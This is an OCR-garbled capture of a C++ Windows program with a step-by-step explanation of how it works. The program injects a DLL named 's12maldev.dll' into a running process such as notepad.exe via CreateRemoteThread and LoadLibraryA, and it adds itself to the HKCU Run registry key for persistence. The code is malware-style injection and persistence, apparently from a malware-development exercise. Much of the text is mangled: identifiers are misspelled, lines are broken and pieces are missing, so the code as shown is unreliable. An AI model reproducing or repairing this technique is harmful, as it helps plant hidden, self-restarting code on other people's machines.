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C++ Code

std;

int getPIDbyProcName( char* procName) {

HANDLE hSnap = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, ©);
PROCESSENTRY32 pe32;

pe32.dwsize = (PROCESSENTRY32) ;

s iiE, o) (o s

pid Process32Next (hsnap, &peazy 1= FALSE) {
(str mu(pezz szExeFile, procName) == @) {
pid = pe32.th32ProcessID;

}

}
CloseHandle(hsnap) ;

bool DLLinjector(DWORD pid, char* d11Path){
LPVOID memory_buffer;

Proc
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o OpenProcess() failed: " << GetlastError() << endl;
}

HMODULE hKernel32 = GetModuleHandle("Kernel32");
*1b = GetProcAddress(hKernel32, "LoadLibraryA™);

nenory_buffer sllocken = VirtualALIGcex(hProc, NULL, strien(dlipath), HEMRESERVE | HEW COMNIT, PAGE_READWRITE);
octen

LL) {
(out << er‘tm]AllD([x<> failed: " << GetlastError() << endl;

WriteProcessiemory(hProc, allocMen, d1lPath, strlen(dllPath), NUL
HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)Lb, allochem, 0, NULL);
(rThread == NULL

) {
cout << "CreateRemoteThread() failed: "

<< GetlastError() << endl;

}

CloseHandle(hProc);

FreeLibrary(hKernel32);

VirtualFreekx(hProc, allocMen, strlen(dllPath), MEM_RELEASE);

int runkeys( char* exe) {
KEY hkey = NULL;

LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", @, KEY_WRITE, hkey);
(res == ERROR_SUCCESS)

RegsetValueEx(hkey, (LPCSTR)"si2maldev”, @, REG_SZ,

(unsigned char*)exe, strlen(exe));
RegClosekey (hkey) ;

05
}
int main(int arge, char *argv(]){
th = "C:\\sI12maldev.d11";

Process: " << process << endl;

)
(IsPrt{wcessRunmng(pro(ess))(
int pid = getPIDbyProcName(process);
(IsDLLLoaded(pid, L"s12maldev.d11*)){
OutputDebugStringA("DLL already loaded");

DLLinjector(pid, path);

char buffer [MAX_PATH];
GetModuleFileName(NULL, buffer, MAX_PATH);
std::string fullPath(buffer);

std::size_t found = fullPath.find_last_of("\\");
ta:1string exeDirectory = fullPath. substr(o, found);
::string exeName = fullPath.substr(found + 1);

string fullPathToExe = exeDirectory + "\\" + exeName;
OutputDebugStringA(fullPathToxe.c_str());
runkeys (fullPathToxe.c_str());

}
Sleep(1000);

This code is a Windows program that performs the following
DLL Injection: It injects a custom DLL (s12naldev.d11) into a target process (in this case, “notepad.exe)

Registry Key Modification: It adds the executable of the program to the Windows Run registry key, ensuring that the program runs automatically when Wi

dows starts
hether the target process is running and whether the DL s alread

Monitoring Loep: It continuously monitors injected. If not, it performs the DLL injection.

Now, let’s break down the code step by step:

« Header Includes:
<windows . h: Provides access to Windows API functions and data type:
<iostream>: Provides input and output stream functionality.
<t1lhelp32.h>: Includes functions and data structures for working with processes and sna
“validations.h": Presumably contains custom validation functions (not included in the provided code).
« getPIDbyProcName Function:
It finds the Process ID (PID) of a process by its name.

It uses the ToolHelp32 AP! to iterate through running processes and match the target pre

« DLLinjector Function
It injects a DL into a specified process
It opens the target process with full access rights.
memory in the target process to hold the DLL path.
It writes the DLL path to the allocated memory.
It creates a remote thread in the target process to execute LoadLibraryA and load the DLL.
Finally, it releases allocated resources.
« runkeys Function:
It adds the executable’s path to the Windows Run registry key to ensure the pr arts with Windoy
5 Registry API to achieve this.
« main Function:
It sets the DLL path (path) and the target process name (process).
It continuously monitors the target pr
= Checks if the target process is running using IsProcessRuAning.
» If the process is running
» Obtains the process ID (pid) using getPIDbyProcNane.
» Checks if the DLL s already loaded in the target process using IsDLLLoaded,
= If the DLL is not loaded, it injects the DLL using DLLinjector.
= It obtains the path to the current executable and adds it to the Windows Run registry key using runkeys.

It sleeps for 1 second between each monitoring iteration using Sleep(106@)

In summary, this code is a utilty that can be used for injecting a custom DLL into a target process and ensuring that a program starts automatically with Windows by adding it to the Run registry key

It continuously monitors the target process, performing the injection when needed. The exact behavior and purpose of the custom DLL (s12maldev.d11) and other custom validation functions from
validations.h" are not provided in this code snippet

validations.h

Cr+ Code

1 T p ) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ©);
(hSnapshot == INVALID_HANDLE_VALUE)

PROCESSENTRY32 processEntry;
processEntry. dusiz (PROCESSENTRY32);

(Process32First(hsnapshot, &processEntry)) {
{

(processNare. compare (processEntry . szExeFile)
CloseHandle (hsnapshot)

(Process32Next (hsnapshot, &processEntry));

}

CloseHandle(hSnapshot) ;

bool IsDLLLoaded(DHORD processId, ::wstring& dliName) {

HANDLE hModuleSnap = (reatetuolhelpizsnapshot(TH32(5 SNAPHODULE | TH32CS_SNAPMODULE32, processId);
(hModuleSnap == INVALID_HANDLE_VALUE) {

}
MG ER, g
moduleEntry. dwsiz (MODULEENTRY32H) 3
bool dl1Found =
(HodulesaF irsth(hMbdulesnap, &moduleEntry)) {

fen comparc(modulcEntry.szModulc) ==0) {
d11Fo

b
} (Module32Nexth(hModuleSnap, &moduleEntry));

}
CloseHandle (hModulesnap) ;
dl1Found;




